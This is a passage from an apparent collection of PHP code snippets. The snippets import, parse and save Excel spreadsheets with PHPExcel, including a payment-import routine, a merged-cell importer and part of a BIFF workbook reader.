$val_col){\n\t\t\t\t\t\t\t// แปลง index column เป็น name column\n\t\t\t\t\t\t\t$colIndex = PHPExcel_Cell::stringFromColumnIndex($key_col);\n\t\t\t\t\t\t\t//echo \"<br/>\".$key_col.\":\".$colIndex;\n\t\t\t\t\t\t\t$val_column = \"\";\n\t\t\t\t\t\t\tif($colIndex == \"C\"){ //วันที่จ่าย\n\t\t\t\t\t\t\t\t$val_date = date('d/m/Y', PHPExcel_Shared_Date::ExcelToPHP($sheet->getCell($colIndex.$row)->getValue()));\n\t\t\t\t\t\t\t\t$val_column = $val_date;\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$val_column = $sheet->getCell($colIndex.$row)->getValue();\n\t\t\t\t\t\t\t\tif(empty($val_column) || $val_column == \"\"){\n\t\t\t\t\t\t\t\t\t$val_column = $val_col;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//echo \"col:\".$colIndex.\" : \".$val_column.\"<br/>\";\n\t\t\t\t\t\t\t\t//echo \"==> \".$val_col.\"===> \".$val_column;\n\t\t\t\t\t\t\tif(!empty($val_column)){\n\t\t\t\t\t\t\t\tif($colIndex == \"B\") $pay_bill_no \t= $val_column;\n\t\t\t\t\t\t\t\tif($colIndex == \"C\") $pay_date \t\t= $val_column;\n\t\t\t\t\t\t\t\tif($colIndex == \"D\") $pay_amount \t= $this->remove_comma($val_column);\n\t\t\t\t\t\t\t\tif($colIndex == \"E\") $pay_receiver \t= $val_column;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}//end each row_col\n\t\t\t\t\t\t\n\t\t\t\t\t\t}//end each num_rows row_col\n\t\t\t\t\t\t/***************** end expend **********************/\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}//end each column_key\n\t\t\t\t\t}//end each !empty column_key\n\t\t\t\t\t//if(file_exist($this->config->item(\"pbms_upload_dir\").$file_name)) {\n\t\t\t\t\t\t//echo $this->config->item(\"pbms_upload_dir\").$file_name;\n\t\t\t\t\t\t//unlink($this->config->item(\"pbms_upload_dir\").$file_name);\n\t\t\t\t\t//}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t//splitDateFormTH($pay_date)\n\t\t\t\t\tarray_push($arr_data,array(\n\t\t\t\t\t\t\t\t\"arr_bill_no\" => $pay_bill_no,\n\t\t\t\t\t\t\t\t\"arr_date\" => $pay_date,\n\t\t\t\t\t\t\t\t\"arr_amount\" => $pay_amount,\n\t\t\t\t\t\t\t\t\"arr_receiver\" => $pay_receiver\n\t\t\t\t\t));\n\t\t\t\t}//end each row\n\t\t\t\t$this->data[\"section_txt\"] = \"ข้อมูลการชำระเงิน\";\t\n\t\t\t\t$this->data[\"rs_data\"] = $arr_data;\t\n\t\t\t\t$this->output(\"Payment/v_import_preview\", $this->data);\n\t\t\t\t\n\t\t\t}//end Checking file\n\t\t}//end isset file\n\t\t\n\t}", "public function importExecl($file) {\n if (!file_exists($file)) {\n return array(\"error\" => 0, 'message' => 'file not found!');\n }\n Vendor(\"PHPExcel.PHPExcel.IOFactory\");\n $objReader = \\PHPExcel_IOFactory::createReader('Excel5');\n try {\n $PHPReader = $objReader->load($file);\n } catch (Exception $e) {\n \n }\n if (!isset($PHPReader))\n return array(\"error\" => 0, 'message' => 'read error!');\n $allWorksheets = $PHPReader->getAllSheets();\n $i = 0;\n foreach ($allWorksheets as $objWorksheet) {\n $sheetname = $objWorksheet->getTitle();\n $allRow = $objWorksheet->getHighestRow(); //how many rows\n $highestColumn = $objWorksheet->getHighestColumn(); //how many columns\n $allColumn = \\PHPExcel_Cell::columnIndexFromString($highestColumn);\n $array[$i][\"Title\"] = $sheetname;\n $array[$i][\"Cols\"] = $allColumn;\n $array[$i][\"Rows\"] = $allRow;\n $arr = array();\n $isMergeCell = array();\n foreach ($objWorksheet->getMergeCells() as $cells) {//merge cells\n foreach (\\PHPExcel_Cell::extractAllCellReferencesInRange($cells) as $cellReference) {\n $isMergeCell[$cellReference] = true;\n }\n }\n for ($currentRow = 1; $currentRow <= $allRow; $currentRow++) {\n $row = array();\n for ($currentColumn = 0; $currentColumn < $allColumn; $currentColumn++) {\n ;\n $cell = $objWorksheet->getCellByColumnAndRow($currentColumn, $currentRow);\n $afCol = \\PHPExcel_Cell::stringFromColumnIndex($currentColumn + 1);\n $bfCol = \\PHPExcel_Cell::stringFromColumnIndex($currentColumn - 1);\n $col = \\PHPExcel_Cell::stringFromColumnIndex($currentColumn);\n $address = $col . $currentRow;\n $value = $objWorksheet->getCell($address)->getValue();\n if (substr($value, 0, 1) == '=') {\n return array(\"error\" => 0, 'message' => 'can not use the formula!');\n exit;\n }\n if ($cell->getDataType() == \\PHPExcel_Cell_DataType::TYPE_NUMERIC) {\n $cellstyleformat = $cell->getParent()->getStyle($cell->getCoordinate())->getNumberFormat();\n $formatcode = $cellstyleformat->getFormatCode();\n if (preg_match('/^([$[A-Z]*-[0-9A-F]*])*[hmsdy]/i', $formatcode)) {\n $value = gmdate(\"Y-m-d\", \\PHPExcel_Shared_Date::ExcelToPHP($value));\n } else {\n $value = \\PHPExcel_Style_NumberFormat::toFormattedString($value, $formatcode);\n }\n }\n if ($isMergeCell[$col . $currentRow] && $isMergeCell[$afCol . $currentRow] && !empty($value)) {\n $temp = $value;\n } elseif ($isMergeCell[$col . $currentRow] && $isMergeCell[$col . ($currentRow - 1)] && empty($value)) {\n $value = $arr[$currentRow - 1][$currentColumn];\n } elseif ($isMergeCell[$col . $currentRow] && $isMergeCell[$bfCol . $currentRow] && empty($value)) {\n $value = $temp;\n }\n $row[$currentColumn] = $value;\n }\n $arr[$currentRow] = $row;\n }\n $array[$i][\"Content\"] = $arr;\n $i++;\n }\n spl_autoload_register(array('Think', 'autoload')); //must, resolve ThinkPHP and PHPExcel conflicts\n unset($objWorksheet);\n unset($PHPReader);\n unset($PHPExcel);\n unlink($file);\n return array(\"error\" => 1, \"data\" => $array);\n }", "function loadFile(){\n GLOBAL $file_destination;\n $fileName = $file_destination;\n \n $objPHPExcel = PHPExcel_IOFactory::load($fileName);\n $worksheet = $objPHPExcel->getActiveSheet();\n\n $highestRow = $worksheet->getHighestRow();\n $highestColumnLetters = $worksheet->getHighestColumn();\n $highestColumn = PHPExcel_Cell::columnIndexFromString($highestColumnLetters); \n\n $productArray = array();\n\n for($i = 1; $i <= $highestRow; $i++){\n $element = $worksheet->getCellByColumnAndRow('A', $i)->getValue();\n\n if(is_string($element)){\n $productArray[$i] = $element;\n }\n }\n unlink($file_destination);\n \n return $productArray;\n }", "private function loadPhpExcel()\n {\n $objPHPExcel = PHPExcel_IOFactory::load($this->file);\n \n // TODO - pokud zadny list neexistuje\n foreach ($this->sheetNames as $sheetName) {\n $sheet = $objPHPExcel->getSheetByName($sheetName);\n if ($sheet == NULL) { continue; }\n \n $data = array();\n $highestColumn = $sheet->getHighestColumn();\n $highestRow = $sheet->getHighestRow();\n\n $header = $sheet->rangeToArray('A1:' . $highestColumn . 1);\n\n for ($row = 2; $row <= $highestRow; $row++) {\n $rowData = $sheet->rangeToArray('A' . $row . ':' . $highestColumn . $row, NULL, TRUE, TRUE);\n $data[] = array_combine(array_values($header[0]), array_values($rowData[0]));\n }\n\n $this->excelData[$sheetName] = $data;\n }\n \n if (empty($this->excelData)) {\n throw new Exception('Soubor neobsahuje relevantní data');\n }\n \n }", "public function DowloadExcel()\n {\n return $export->sheet('sheetName', function($sheet)\n {\n\n })->export('xls');\n }", "public function filePath();", "function saveExcelToLocalFile($objWriter){\r\n $filePath = '../tmp/saved_File.xlsx';\r\n $objWriter->save($filePath);\r\n return $filePath;\r\n}", "function gttn_tpps_xlsx_generator($location, array $options = array()) {\n $dir = drupal_realpath(GTTN_TPPS_TEMP_XLSX);\n $no_header = $options['no_header'] ?? FALSE;\n $columns = $options['columns'] ?? NULL;\n $max_rows = $options['max_rows'] ?? NULL;\n\n if (!empty($columns)) {\n $new_columns = array();\n foreach ($columns as $col) {\n $new_columns[$col] = $col;\n }\n $columns = $new_columns;\n }\n\n $zip = new ZipArchive();\n $zip->open($location);\n $zip->extractTo($dir);\n\n $strings_location = $dir . '/xl/sharedStrings.xml';\n $data_location = $dir . '/xl/worksheets/sheet1.xml';\n\n // Get width of the data in the file.\n $dimension = gttn_tpps_xlsx_get_dimension($data_location);\n preg_match('/([A-Z]+)[0-9]+:([A-Z]+)[0-9]+/', $dimension, $matches);\n $left_hex = unpack('H*', $matches[1]);\n $hex = $left_hex[1];\n $right_hex = unpack('H*', $matches[2]);\n\n $strings = gttn_tpps_xlsx_get_strings($strings_location);\n $reader = new XMLReader();\n $reader->open($data_location);\n\n if (!$no_header) {\n gttn_tpps_xlsx_get_row($reader, $strings);\n }\n\n $count = 0;\n while (($row = gttn_tpps_xlsx_get_row($reader, $strings))) {\n if (!empty($max_rows) and $count >= $max_rows){\n break;\n }\n $count++;\n\n $values = array();\n\n if (empty($columns)) {\n ksort($row);\n $hex = $left_hex[1];\n while (base_convert($hex, 16, 10) <= base_convert($right_hex[1], 16, 10)) {\n $key = pack('H*', $hex);\n $values[$key] = isset($row[$key]) ? trim($row[$key]) : NULL;\n $hex = gttn_tpps_increment_hex($hex);\n }\n yield $values;\n continue;\n }\n\n foreach ($columns as $column) {\n $values[$column] = isset($row[$column]) ? trim($row[$column]) : NULL;\n }\n yield $values;\n }\n\n $reader->close();\n gttn_tpps_rmdir($dir);\n}", "public function ext() {\n\t\treturn \"xls\";\n\t}", "private function mappingFileXls($path) {\n $spreadsheet = IOFactory::load($path);\n $sheetData = $spreadsheet->getActiveSheet()->toArray(null, true, true, true);\n $flipped = $this->array_transpose($sheetData);\n $mapping_form_results['rows'] = $sheetData;\n $mapping_form_results['columns'] = $flipped;\n\n return $mapping_form_results;\n\n }", "public function read($inputFileName) {\n\t\techo \"creating reader\".\"\\n\";\n\t\t$inputFileType = PHPExcel_IOFactory::identify($inputFileName);\n\t\t$reader = PHPExcel_IOFactory::createReader($inputFileType);\n\t\treturn $reader->load($inputFileName);\n\t}", "public function load($pFilename)\n\t{\n\t\t// Check if file exists\n\t\tif (!file_exists($pFilename)) {\n\t\t\tthrow new Exception(\"Could not open \" . $pFilename . \" for reading! File does not exist.\");\n\t\t}\n\n\t\t// Initialisations\n\t\t$excel = new PHPExcel;\n\t\t$excel->removeSheetByIndex(0);\n\n\t\t// Use ParseXL for the hard work.\n\t\t$this->_ole = new PHPExcel_Shared_OLERead();\n\n\t\t$this->_rowoffset = $this->_coloffset = 0;\n\t\t$this->_defaultEncoding = 'ISO-8859-1';\n\t\t$this->_encoderFunction = function_exists('mb_convert_encoding') ?\n\t\t\t'mb_convert_encoding' : 'iconv';\n\n\t\t// get excel data\n\t\t$res = $this->_ole->read($pFilename);\n\n\t\t// oops, something goes wrong (Darko Miljanovic)\n\t\tif($res === false) { // check error code\n\t\t\tif($this->_ole->error == 1) { // bad file\n\t\t\t\tthrow new Exception('The filename ' . $pFilename . ' is not readable');\n\t\t\t} elseif($this->_ole->error == 2) {\n\t\t\t\tthrow new Exception('The filename ' . $pFilename . ' is not recognised as an Excel file');\n\t\t\t}\n\t\t\t// check other error codes here (eg bad fileformat, etc...)\n\t\t}\n\n\t\t$this->_data = $this->_ole->getWorkBook();\n\t\t$this->_pos = 0;\n\t\t\n\t\t/**\n\t\t * PARSE WORKBOOK\n\t\t *\n\t\t **/\n\t\t$pos = 0;\n\t\t$code = ord($this->_data[$pos]) | ord($this->_data[$pos + 1]) << 8;\n\t\t$length = ord($this->_data[$pos + 2]) | ord($this->_data[$pos + 3]) << 8;\n\t\t$version = ord($this->_data[$pos + 4]) | ord($this->_data[$pos + 5]) << 8;\n\t\t$substreamType = ord($this->_data[$pos + 6]) | ord($this->_data[$pos + 7]) << 8;\n\n\n\t\tif (($version != self::XLS_BIFF8) && ($version != self::XLS_BIFF7)) {\n\t\t\treturn false;\n\t\t}\n\t\tif ($substreamType != self::XLS_WorkbookGlobals){\n\t\t\treturn false;\n\t\t}\n\t\t$pos += $length + 4;\n\t\t$code = ord($this->_data[$pos]) | ord($this->_data[$pos + 1]) << 8;\n\t\t$length = ord($this->_data[$pos + 2]) | ord($this->_data[$pos + 3]) << 8;\n\t\t$recordData = substr($this->_data, $pos + 4, $length);\n\t\t\n\t\twhile ($code != self::XLS_Type_EOF){\n\t\t\tswitch ($code) {\n\t\t\t\tcase self::XLS_Type_SST:\n\t\t\t\t\t/**\n\t\t\t\t\t * SST - Shared String Table\n\t\t\t\t\t *\n\t\t\t\t\t * This record contains a list of all strings used anywhere\n\t\t\t\t\t * in the workbook. Each string occurs only once. The\n\t\t\t\t\t * workbook uses indexes into the list to reference the\n\t\t\t\t\t * strings.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t **/\n\t\t\t\t\t// offset: 0; size: 4; total number of strings\n\t\t\t\t\t// offset: 4; size: 4; number of unique strings\n\t\t\t\t\t$spos = $pos + 4;\n\t\t\t\t\t$limitpos = $spos + $length;\n\t\t\t\t\t$uniqueStrings = $this->_GetInt4d($this->_data, $spos + 4);\n\t\t\t\t\t$spos += 8;\n\t\t\t\t\t// loop through the Unicode strings (16-bit length)\n\t\t\t\t\tfor ($i = 0; $i < $uniqueStrings; $i++) {\n\t\t\t\t\t\tif ($spos == $limitpos) {\n\t\t\t\t\t\t\t// then we have reached end of SST record data\n\t\t\t\t\t\t\t$opcode = ord($this->_data[$spos]) | ord($this->_data[$spos + 1])<<8;\n\t\t\t\t\t\t\t$conlength = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3])<<8;\n\t\t\t\t\t\t\tif ($opcode != self::XLS_Type_CONTINUE) {\n\t\t\t\t\t\t\t\t// broken file, something is wrong\n\t\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$spos += 4;\n\t\t\t\t\t\t\t$limitpos = $spos + $conlength;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Read in the number of characters in the Unicode string\n\t\t\t\t\t\t$numChars = ord($this->_data[$spos]) | (ord($this->_data[$spos + 1]) << 8);\n\t\t\t\t\t\t$spos += 2;\n\t\t\t\t\t\t// option flags\n\t\t\t\t\t\t$optionFlags = ord($this->_data[$spos]);\n\t\t\t\t\t\t$spos++;\n\t\t\t\t\t\t// bit: 0; mask: 0x01; 0 = compressed; 1 = uncompressed\n\t\t\t\t\t\t$asciiEncoding = (($optionFlags & 0x01) == 0) ;\n\t\t\t\t\t\t// bit: 2; mask: 0x02; 0 = ordinary; 1 = Asian phonetic\n\t\t\t\t\t\t$extendedString = ( ($optionFlags & 0x04) != 0); // Asian phonetic\n\t\t\t\t\t\t// bit: 3; mask: 0x03; 0 = ordinary; 1 = Rich-Text\n\t\t\t\t\t\t$richString = ( ($optionFlags & 0x08) != 0);\n\t\t\t\t\t\tif ($richString) { // Read in the crun\n\t\t\t\t\t\t\t// number of Rich-Text formatting runs\n\t\t\t\t\t\t\t$formattingRuns = ord($this->_data[$spos]) | (ord($this->_data[$spos + 1]) << 8);\n\t\t\t\t\t\t\t$spos += 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($extendedString) {\n\t\t\t\t\t\t\t// size of Asian phonetic setting\n\t\t\t\t\t\t\t$extendedRunLength = $this->_GetInt4d($this->_data, $spos);\n\t\t\t\t\t\t\t$spos += 4;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// read in the characters\n\t\t\t\t\t\t$len = ($asciiEncoding) ? $numChars : $numChars * 2;\n\t\t\t\t\t\tif ($spos + $len < $limitpos) {\n\t\t\t\t\t\t\t$retstr = substr($this->_data, $spos, $len);\n\t\t\t\t\t\t\t$spos += $len;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// found countinue record\n\t\t\t\t\t\t\t$retstr = substr($this->_data, $spos, $limitpos - $spos);\n\t\t\t\t\t\t\t$bytesRead = $limitpos - $spos;\n\t\t\t\t\t\t\t// remaining characters in Unicode string\n\t\t\t\t\t\t\t$charsLeft = $numChars - (($asciiEncoding) ? $bytesRead : ($bytesRead / 2));\n\t\t\t\t\t\t\t$spos = $limitpos;\n\t\t\t\t\t\t\t// keep reading the characters\n\t\t\t\t\t\t\twhile ($charsLeft > 0) {\n\t\t\t\t\t\t\t\t// record data \n\t\t\t\t\t\t\t\t$opcode = ord($this->_data[$spos]) | ord($this->_data[$spos + 1]) << 8;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// length of continue record data\n\t\t\t\t\t\t\t\t$conlength = ord($this->_data[$spos + 2]) | ord($this->_data[$spos + 3]) << 8;\n\t\t\t\t\t\t\t\tif ($opcode != self::XLS_Type_CONTINUE) {\n\t\t\t\t\t\t\t\t\t// broken file, something is wrong\n\t\t\t\t\t\t\t\t\treturn -1;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$spos += 4;\n\t\t\t\t\t\t\t\t$limitpos = $spos + $conlength;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// option flags are repeated when Unicode string is split by a continue record\n\t\t\t\t\t\t\t\t// OpenOffice.org documentation 5.21\n\t\t\t\t\t\t\t\t$option = ord($this->_data[$spos]);\n\t\t\t\t\t\t\t\t$spos += 1;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif ($asciiEncoding && ($option == 0)) {\n\t\t\t\t\t\t\t\t\t// 1st fragment compressed\n\t\t\t\t\t\t\t\t\t// this fragment compressed\n\t\t\t\t\t\t\t\t\t$len = min($charsLeft, $limitpos - $spos);\n\t\t\t\t\t\t\t\t\t$retstr .= substr($this->_data, $spos, $len);\n\t\t\t\t\t\t\t\t\t$charsLeft -= $len;\n\t\t\t\t\t\t\t\t\t$asciiEncoding = true;\n\n\t\t\t\t\t\t\t\t} elseif (!$asciiEncoding && ($option != 0)) {\n\t\t\t\t\t\t\t\t\t// 1st fragment uncompressed\n\t\t\t\t\t\t\t\t\t// this fragment uncompressed\n\t\t\t\t\t\t\t\t\t$len = min($charsLeft * 2, $limitpos - $spos);\n\t\t\t\t\t\t\t\t\t$retstr .= substr($this->_data, $spos, $len);\n\t\t\t\t\t\t\t\t\t$charsLeft -= $len/2;\n\t\t\t\t\t\t\t\t\t$asciiEncoding = false;\n\n\t\t\t\t\t\t\t\t} elseif (!$asciiEncoding && ($option == 0)) {\n\t\t\t\t\t\t\t\t\t// 1st fragment uncompressed\n\t\t\t\t\t\t\t\t\t// this fragment compressed\n\t\t\t\t\t\t\t\t\t$len = min($charsLeft, $limitpos - $spos);\n\t\t\t\t\t\t\t\t\tfor ($j = 0; $j < $len; $j++) {\n\t\t\t\t\t\t\t\t\t\t$retstr .= $this->_data[$spos + $j].chr(0);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$charsLeft -= $len;\n\t\t\t\t\t\t\t\t\t$asciiEncoding = false;\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t// 1st fragment compressed\n\t\t\t\t\t\t\t\t\t// this fragment uncompressed\n\t\t\t\t\t\t\t\t\t$newstr = '';\n\t\t\t\t\t\t\t\t\tfor ($j = 0; $j < strlen($retstr); $j++) {\n\t\t\t\t\t\t\t\t\t\t$newstr = $retstr[$j].chr(0);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$retstr = $newstr;\n\t\t\t\t\t\t\t\t\t$len = min($charsLeft * 2, $limitpos - $spos);\n\t\t\t\t\t\t\t\t\t$retstr .= substr($this->_data, $spos, $len);\n\t\t\t\t\t\t\t\t\t$charsLeft -= $len/2;\n\t\t\t\t\t\t\t\t\t$asciiEncoding = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$spos += $len;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t//$retstr = ($asciiEncoding) ?\n\t\t\t\t\t\t//\t$retstr : $this->_encodeUTF16($retstr);\n\t\t\t\t\t\t// convert string according codepage and BIFF version\n\n\t\t\t\t\t\tif($version == self::XLS_BIFF8) {\n\t\t\t\t\t\t\t$retstr = $this->_encodeUTF16($retstr, $asciiEncoding);\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t// SST only occurs in BIFF8, so why this part? \n\t\t\t\t\t\t\t$retstr = $this->_decodeCodepage($retstr);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$fmtRuns = array();\n\t\t\t\t\t\tif ($richString) {\n\t\t\t\t\t\t\t// list of formatting runs\n\t\t\t\t\t\t\tfor ($j = 0; $j < $formattingRuns; $j++) {\n\t\t\t\t\t\t\t\t// first formatted character; zero-based\n\t\t\t\t\t\t\t\t$charPos = $this->_getInt2d($this->_data, $spos + $j * 4);\n\t\t\t\t\t\t\t\t// index to font record\n\t\t\t\t\t\t\t\t$fontIndex = $this->_getInt2d($this->_data, $spos + 2 + $j * 4);\n\t\t\t\t\t\t\t\t$fmtRuns[] = array(\n\t\t\t\t\t\t\t\t\t'charPos' => $charPos,\n\t\t\t\t\t\t\t\t\t'fontIndex' => $fontIndex,\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$spos += 4 * $formattingRuns;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($extendedString) {\n\t\t\t\t\t\t\t// For Asian phonetic settings, we skip the extended string data\n\t\t\t\t\t\t\t$spos += $extendedRunLength;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$this->_sst[] = array(\n\t\t\t\t\t\t\t'value' => $retstr,\n\t\t\t\t\t\t\t'fmtRuns' => $fmtRuns,\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_FILEPASS:\n\t\t\t\t\t/**\n\t\t\t\t\t * SHEETPROTECTION\n\t\t\t\t\t *\n\t\t\t\t\t * This record is part of the File Protection Block. It\n\t\t\t\t\t * contains information about the read/write password of the\n\t\t\t\t\t * file. All record contents following this record will be\n\t\t\t\t\t * encrypted.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\treturn false;\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_EXTERNALBOOK:\n\t\t\t\t\tbreak;\n\t\t\t\t\n\t\t\t\tcase self::XLS_Type_EXTSHEET:\n\t\t\t\t\t// external sheet references provided for named cells\n\t\t\t\t\tif ($version == self::XLS_BIFF8) {\n\t\t\t\t\t\t$xpos = $pos + 4;\n\t\t\t\t\t\t$xcnt = ord($this->_data[$xpos]) | ord($this->_data[$xpos + 1]) << 8;\n\t\t\t\t\t\tfor ($x = 0; $x < $xcnt; $x++) {\n\t\t\t\t\t\t\t$this->_extshref[$x] = ord($this->_data[$xpos + 4 + 6*$x]) |\n\t\t\t\t\t\t\t\tord($this->_data[$xpos + 5 + 6*$x]) << 8;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// this if statement is going to replace the above one later\n\t\t\t\t\tif ($version == self::XLS_BIFF8) {\n\t\t\t\t\t\t// offset: 0; size: 2; number of following ref structures\n\t\t\t\t\t\t$nm = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\tfor ($i = 0; $i < $nm; $i++) {\n\t\t\t\t\t\t\t$this->_ref[] = array(\n\t\t\t\t\t\t\t\t// offset: 2 + 6 * $i; index to EXTERNALBOOK record\n\t\t\t\t\t\t\t\t'externalBookIndex' => $this->_getInt2d($recordData, 2 + 6 * $i),\n\t\t\t\t\t\t\t\t// offset: 4 + 6 * $i; index to first sheet in EXTERNALBOOK record\n\t\t\t\t\t\t\t\t'firstSheetIndex' => $this->_getInt2d($recordData, 4 + 6 * $i),\n\t\t\t\t\t\t\t\t// offset: 6 + 6 * $i; index to last sheet in EXTERNALBOOK record\n\t\t\t\t\t\t\t\t'lastSheetIndex' => $this->_getInt2d($recordData, 6 + 6 * $i),\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_NAME:\n\t\t\t\t\t/**\n\t\t\t\t\t * DEFINEDNAME\n\t\t\t\t\t *\n\t\t\t\t\t * This record is part of a Link Table. It contains the name\n\t\t\t\t\t * and the token array of an internal defined name. Token\n\t\t\t\t\t * arrays of defined names contain tokens with aberrant\n\t\t\t\t\t * token classes.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t// retrieves named cells\n\t\t\t\t\t$npos = $pos + 4;\n\t\t\t\t\t$opts = ord($this->_data[$npos]) | ord($this->_data[$npos + 1]) << 8;\n\t\t\t\t\t$nlen = ord($this->_data[$npos + 3]);\n\t\t\t\t\t$flen = ord($this->_data[$npos + 4]) | ord($this->_data[$npos + 5]) << 8;\n\t\t\t\t\t$fpos = $npos + 14 + 1 + $nlen;\n\t\t\t\t\t$nstr = substr($this->_data, $npos + 15, $nlen);\n\t\t\t\t\t$ftoken = ord($this->_data[$fpos]);\n\t\t\t\t\tif ($ftoken == 58 && $opts == 0 && $flen == 7) {\n\t\t\t\t\t\t$xref = ord($this->_data[$fpos + 1]) | ord($this->_data[$fpos + 2]) << 8;\n\t\t\t\t\t\t$frow = ord($this->_data[$fpos + 3]) | ord($this->_data[$fpos + 4]) << 8;\n\t\t\t\t\t\t$fcol = ord($this->_data[$fpos + 5]);\n\t\t\t\t\t\tif (array_key_exists($xref,$this->_extshref)) {\n\t\t\t\t\t\t\t$fsheet = $this->_extshref[$xref];\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$fsheet = '';\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$this->_namedcells[$nstr] = array(\n\t\t\t\t\t\t\t'sheet' => $fsheet,\n\t\t\t\t\t\t\t'row' => $frow,\n\t\t\t\t\t\t\t'column' => $fcol\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_FORMAT:\n\t\t\t\t\t/**\n\t\t\t\t\t * FORMAT\n\t\t\t\t\t *\n\t\t\t\t\t * This record contains information about a number format.\n\t\t\t\t\t * All FORMAT records occur together in a sequential list.\n\t\t\t\t\t *\n\t\t\t\t\t * In BIFF2-BIFF4 other records referencing a FORMAT record\n\t\t\t\t\t * contain a zero-based index into this list. From BIFF5 on\n\t\t\t\t\t * the FORMAT record contains the index itself that will be\n\t\t\t\t\t * used by other records.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t//$indexCode = ord($this->_data[$pos + 4]) | ord($this->_data[$pos + 5]) << 8;\n\t\t\t\t\t$indexCode = $this->_GetInt2d($recordData, 0);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\tif ($version == self::XLS_BIFF8) {\n\t\t\t\t\t*/\n\t\t\t\t\t\t$formatString = $this->_readUnicodeStringLong(substr($recordData, 2));\n\t\t\t\t\t/*\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$numchars = ord($this->_data[$pos + 6]);\n\t\t\t\t\t\t$formatString = substr($this->_data, $pos + 7, $numchars*2);\n\t\t\t\t\t}\n\t\t\t\t\t*/\n\t\t\t\t\t$this->_formatRecords[$indexCode] = $formatString;\n\t\t\t\t\t\n\t\t\t\t\t// now also stored in array _format[]\n\t\t\t\t\t// _formatRecords[] will be removed from code later\n\t\t\t\t\t$this->_numberFormat[$indexCode] = $formatString;\n\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase self::XLS_Type_FONT:\n\t\t\t\t\t/**\n\t\t\t\t\t * FONT\n\t\t\t\t\t */\n\t\t\t\t\t$this->_font[] = $this->_readFont($recordData);\n\t\t\t\t\t\n\t\t\t\t\tbreak;\n\t\t\t\t\t\n\t\t\t\tcase self::XLS_Type_XF:\n\t\t\t\t\t/**\n\t\t\t\t\t * XF - Extended Format\n\t\t\t\t\t *\n\t\t\t\t\t * This record contains formatting information for cells,\n\t\t\t\t\t * rows, columns or styles.\n\t\t\t\t\t *\n\t\t\t\t\t * --\t\"OpenOffice.org's Documentation of the Microsoft\n\t\t\t\t\t * \t\tExcel File Format\"\n\t\t\t\t\t */\n\t\t\t\t\t$indexCode = ord($this->_data[$pos + 6]) | ord($this->_data[$pos + 7]) << 8;\n\t\t\t\t\tif (array_key_exists($indexCode, $this->_dateFormats)) {\n\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t'type' => 'date',\n\t\t\t\t\t\t\t'format' => $this->_dateFormats[$indexCode],\n\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t);\n\t\t\t\t\t} elseif (array_key_exists($indexCode, $this->_percentFormats)) {\n\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t'type' => 'percent',\n\t\t\t\t\t\t\t'format' => $this->_percentFormats[$indexCode],\n\t\t\t\t\t\t\t'code' => $indexCode\n\t\t\t\t\t\t);\n\t\t\t\t\t} elseif (array_key_exists($indexCode, $this->_numberFormats)) {\n\t\t\t\t\t\t$this->_formatRecords['xfrecords'][] = array(\n\t\t\t\t\t\t\t'type' => 'number',\n\t\t\t\t\t\t\t'format' => 